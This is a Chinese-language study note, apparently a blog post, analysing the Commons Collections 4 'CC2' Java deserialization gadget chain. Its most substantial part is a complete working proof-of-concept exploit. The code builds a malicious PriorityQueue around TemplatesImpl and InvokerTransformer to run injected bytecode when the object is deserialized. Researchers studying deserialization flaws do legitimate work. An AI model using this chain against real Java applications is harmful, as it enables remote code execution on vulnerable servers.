前置知识

javassist字节码增强类库

参考:https://www.yuque.com/m0re/demosec/okt2t3

了解这个库是怎么生成class字节码文件的。

其中CC1链在实际应用中存在一些限制,高版本的jdk就无法利用了,原因是jdk8u71版本中改写了sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法,CC1链在jdk8u71版本以上已经被修复了。在jdk8u71以后的版本,重新构造了一条利用链CC2

CC2链子分析

这个链子是放在CC4后面看的,这么理解可能更好一点,如果看过了CC4的链子,就会知道在初始化TrAXFilter的时候使用了Transformer数组,利用InstantiateTransformer去初始化TrAXFilter.class,到CC2则是抛弃这个利用点。

前面都一样,只是调用newInstance方法的方式变了,这里使用InvokerTransformer去调用templatestransform方法。

创建 TransformingComparator 类对象,传⼊一个临时的 Transformer 类对象,这是为了让代码能够不本地执行,在反序列化的时候执行

  1. TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
创建 PriorityQueue 类对象 传入 transformingComparator 对象,但是此时向队列⾥添加的元素就是我们前⾯创建的 TemplatesImpl 对象了,这是因为最后调用 PriorityQueue.compare() 的时候是传入队列中的两个对象,然后 compare() 中调用 Transformer.transform(obj1) 的时候用的是传入的第一个对象作为参数,因此这里需要将 priorityQueue 队列中的第一个对象设置为构造好的 templates 对象,这里贪方便就两个都设置为 templates 对象了。
  1. PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
  2. priorityQueue.add(templates);
  3. priorityQueue.add(templates);
最后再将值通过反射改回来。
  1. Class c = transformingComparator.getClass();
  2. Field transformingField = c.getDeclaredField("transformer");
  3. transformingField.setAccessible(true);
  4. transformingField.set(transformingComparator, invokerTransformer);

最终的POC

  1. package com.common.cc;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import org.apache.commons.collections4.comparators.TransformingComparator;
  4. import org.apache.commons.collections4.functors.ConstantTransformer;
  5. import org.apache.commons.collections4.functors.InvokerTransformer;
  6. import javax.xml.transform.Templates;
  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.nio.file.Files;
  10. import java.nio.file.Paths;
  11. import java.util.PriorityQueue;
  12. public class CC2 {
  13. public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
  14. TemplatesImpl templates = new TemplatesImpl();
  15. Class cc3 = templates.getClass();
  16. Field nameField = cc3.getDeclaredField("_name");
  17. nameField.setAccessible(true);
  18. nameField.set(templates, "sfabc");
  19. Field bytecodesField = cc3.getDeclaredField("_bytecodes");
  20. bytecodesField.setAccessible(true);
  21. byte[] code = Files.readAllBytes(Paths.get("D://Test//Test.class"));
  22. byte[][] codes = {code};
  23. bytecodesField.set(templates, codes);
  24. InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
  25. TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
  26. PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
  27. priorityQueue.add(templates);
  28. priorityQueue.add(templates);
  29. Class c = transformingComparator.getClass();
  30. Field transformingField = c.getDeclaredField("transformer");
  31. transformingField.setAccessible(true);
  32. transformingField.set(transformingComparator, invokerTransformer);
  33. // serialize(priorityQueue);
  34. unserialize("ser.bin");
  35. }
  36. public static void serialize(Object obj) throws IOException {
  37. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  38. oos.writeObject(obj);
  39. }
  40. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  41. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
  42. Object obj = ois.readObject();
  43. return obj;
  44. }
  45. }